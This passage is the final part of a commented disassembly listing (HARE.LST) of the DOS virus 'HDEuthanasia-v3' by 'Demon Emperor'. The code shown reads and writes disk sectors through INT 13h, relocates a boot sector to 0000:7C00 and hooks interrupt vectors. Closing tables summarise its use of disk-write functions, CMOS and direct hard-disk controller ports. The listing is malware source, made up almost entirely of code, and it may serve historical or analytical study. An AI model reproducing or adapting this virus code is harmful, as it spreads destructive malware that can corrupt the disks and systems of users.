  4635. 1DB7    locloop_268:                                    ;  xref 9804:1DC3
  4636. 1DB7                    mov     ah,1
  4637. 1DB9                    mov     al,dh
  4638. 1DBB                    stosw                           ; Store ax to es:[di]
  4639. 1DBC                    mov     al,dl
  4640. 1DBE                    mov     ah,2
  4641. 1DC0                    stosw                           ; Store ax to es:[di]
  4642. 1DC1                    inc     dl
  4643. 1DC3                    loop    locloop_268             ; Loop if cx > 0
  4644.  
  4645. 1DC5                    mov     ax,50Fh
  4646. 1DC8                    mov     ch,dh
  4647. 1DCA                    mov     cl,1
  4648. 1DCC                    mov     dh,1
  4649. 1DCE                    mov     dl,data_154             ; (9804:1B17=0)
  4650. 1DD2                    mov     bx,206Ah
  4651. 1DD5                    call    sub_59                  ; (18A5)
  4652. 1DD8                    pushf                           ; Push flags
  4653. 1DD9                    mov     byte ptr ds:[1DFDh],ch  ; (9804:1DFD=51h)
  4654. 1DDD                    xor     ax,ax                   ; Zero register
  4655. 1DDF                    mov     es,ax
  4656. 1DE1                    les     di,dword ptr es:data_8e ; (0000:0078=522h) Load seg:offset ptr
  4657. 1DE6                    popf                            ; Pop flags
  4658. 1DE7                    pop     ax
  4659. 1DE8                    mov     es:[di+3],ax
  4660. 1DEC                    push    cs
  4661. 1DED                    pop     es
  4662. 1DEE                    retn
  4663.         sub_73          endp
  4664.  
  4665. 1DEF    loc_269:                                        ;  xref 9804:1E0B
  4666. 1DEF                    mov     bx,0B50h
  4667. 1DF2                    mov     es,bx
  4668. 1DF4                    xor     bx,bx                   ; Zero register
  4669. 1DF6                    mov     ax,1E0Eh
  4670. 1DF9                    push    es
  4671. 1DFA                    push    ax
  4672. 1DFB                    mov     cx,5101h
  4673. 1DFE                    mov     ax,411h
  4674. 1E01                    mov     dx,100h
  4675. 1E04                    int     13h                     ; Disk  dl=drive a  ah=func 04h
  4676.                                                         ;  verify sectors with mem es:bx
  4677.                                                         ;   al=#,ch=cyl,cl=sectr,dh=head
  4678. 1E06                    mov     ax,211h
  4679. 1E09                    int     13h                     ; Disk  dl=drive a  ah=func 02h
  4680.                                                         ;  read sectors to memory es:bx
  4681.                                                         ;   al=#,ch=cyl,cl=sectr,dh=head
  4682. 1E0B                    jc      loc_269                 ; Jump if carry Set
  4683. 1E0D                    retf                            ; Return far
  4684. 1E0E                    sti                             ; Enable interrupts
  4685. 1E0F                    xor     ax,ax                   ; Zero register
  4686. 1E11                    mov     es,ax
  4687. 1E13                    push    cs
  4688. 1E14                    pop     ds
  4689. 1E15                    cld                             ; Clear direction
  4690. 1E16   ,                mov     di,data_23e             ; (0000:7C00=2)
  4691. 1E19   ,                mov     si,data_172e            ; (9804:2000=0)
  4692. 1E1C                    mov     cx,200h
  4693. 1E1F                    push    es
  4694. 1E20                    push    di
  4695. 1E21                    rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
  4696. 1E23                    mov     data_59,al              ; (9804:018C=4)
  4697. 1E26                    call    sub_20                  ; (08D0)
  4698. 1E29                    call    sub_48                  ; (1379)
  4699. 1E2C                    retf                            ; Return far
  4700. 1E2D    data_156        db      '"HDEuthanasia-v3" by Demon Emper' ;  xref 9804:0265
  4701. 1E4D                    db      'or: Hare Krsna, hare, hare...'
  4702. 1E6A    data_157        dw      0BC98h                  ;  xref 9804:07B2, 1052, 16A3, 1C90
  4703. 1E6C    data_159        dw      4E2Dh                   ;  xref 9804:0AE7, 0AEB, 0AF7, 1177
  4704.                                                         ;            119A
  4705. 1E6E    data_161        dw      2417h                   ;  xref 9804:0AF3, 0AFF, 117D
  4706. 1E70                    db       42h,0B3h
  4707. 1E72    data_162        dw      0EB2Dh                  ;  xref 9804:108A
  4708. 1E74                    db       01h, 45h,0BEh
  4709.  
  4710.         seg_a           ends
  4711.  
  4712.  
  4713.  
  4714.                         end     start
  4715.  
  4716.  
  4717.         ____________________ CROSS REFERENCE - KEY ENTRY POINTS ___________________
  4718.  
  4719.             seg:off    type                label
  4720.            ---- ----   ----   --------------------------------
  4721.            9804:0000   far    start
  4722.            9804:01A2   far    int_01h_entry
  4723.            9804:18AC   far    int_16h_entry
  4724.  
  4725.          __________________ Interrupt Usage Synopsis __________________
  4726.  
  4727.                 Interrupt 10h : Video display   ah=functn xxh
  4728.                 Interrupt 10h :  ah=00h  set display mode in al
  4729.                 Interrupt 10h :  ah=0Eh  write char al, teletype mode
  4730.                 Interrupt 12h : Put (memory size)/1K in ax
  4731.                 Interrupt 13h : Disk  dl=drive #  ah=func xxh
  4732.                 Interrupt 13h :  ah=00h  reset disk, al=return status
  4733.                 Interrupt 13h :  ah=02h  read sectors to memory es:bx
  4734.                 Interrupt 13h :  ah=03h  write sectors from mem es:bx
  4735.                 Interrupt 13h :  ah=04h  verify sectors with mem es:bx
  4736.                 Interrupt 13h :  ah=08h  get drive parameters, bl=type
  4737.                 Interrupt 16h : Keyboard i/o  ah=function xxh
  4738.                 Interrupt 16h :  ah=05h  stuff key cx into keybd buffr
  4739.                 Interrupt 1Ah : Real time clock   ah=func xxh
  4740.                 Interrupt 1Ah :  ah=04h  get date  cx=year, dx=mon/day
  4741.                 Interrupt 21h : DOS Services  ah=function xxh
  4742.                 Interrupt 21h :  ah=25h  set intrpt vector al to ds:dx
  4743.                 Interrupt 21h :  ah=35h  get intrpt vector al in es:bx
  4744.                 Interrupt 21h :  ax=440Dh  IOctl-C block device control
  4745.                 Interrupt 21h :  ah=52h  get DOS data table ptr es:bx
  4746.                 Interrupt 21h :  ah=62h  get Program Segment Prefix bx
  4747.                 Interrupt 2Fh : DOS Internal services
  4748.                     9 Ocurrences of non-standard interrupts used (search for ??).
  4749.  
  4750.          __________________ I/O Port Usage Synopsis  __________________
  4751.  
  4752.                 Port 40h   : 8253 timer 0 clock
  4753.                 Port 43h   : 8253 timer control
  4754.                 Port 43h   :  al = 0, latch timer0 count
  4755.                 Port 70h   : CMOS addr,bit7=NMI
  4756.                 Port 70h   :  al = 0, seconds register
  4757.                 Port 70h   :  al = 12h, hard disk type
  4758.                 Port 71h   : CMOS data
  4759.                 Port 1F2h  : hdsk0-sector count
  4760.                 Port 1F3h  : hdsk0-sector numbr
  4761.                 Port 1F4h  : hdsk0-cylr,lo byte
  4762.                 Port 1F5h  : hdsk0-cylr,hi byte
  4763.                 Port 1F6h  : hdsk0-siz/drv/head
  4764.                 Port 1F7h  : hdsk0-status reg
  4765.                 Port 1F7h  : hdsk0-command reg
  4766.                 Port 3F6h  :  al = 0, hdsk0 register
  4767.                 Port 3F6h  :  al = 4, reset controller
  4768.  
  4769. ; - HARE.LST ------->>>> CUT HERE <<<<--------------------------------------
  4770.